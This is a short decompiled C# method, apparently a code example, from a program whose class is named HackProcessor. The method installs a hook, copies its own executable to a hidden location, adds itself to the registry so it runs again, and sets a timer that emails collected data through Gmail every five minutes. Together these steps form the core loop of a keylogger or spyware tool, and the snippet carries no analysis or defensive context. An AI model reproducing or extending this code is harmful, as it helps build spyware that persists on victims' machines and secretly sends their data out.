Example #1
0
        // Token: 0x06000008 RID: 8 RVA: 0x00002050 File Offset: 0x00000250
        public static void Process()
        {
            HackProcessor.Hook();
            bool flag = !File.Exists(HackProcessor.dest);

            if (flag)
            {
                File.Copy(HackProcessor.StartupPath(), HackProcessor.dest, true);
                File.SetAttributes(HackProcessor.dest, FileAttributes.Hidden);
                HackProcessor.AddToReg();
            }
            System.Timers.Timer timer = new System.Timers.Timer();
            timer.Elapsed  += new ElapsedEventHandler(HackProcessor.sendEMailThroughGmail);
            timer.Interval  = 300000.0;
            timer.Enabled   = true;
            timer.AutoReset = true;
            timer.Start();
            Application.Run();
            GC.KeepAlive(timer);
            HackProcessor.UnHook();
        }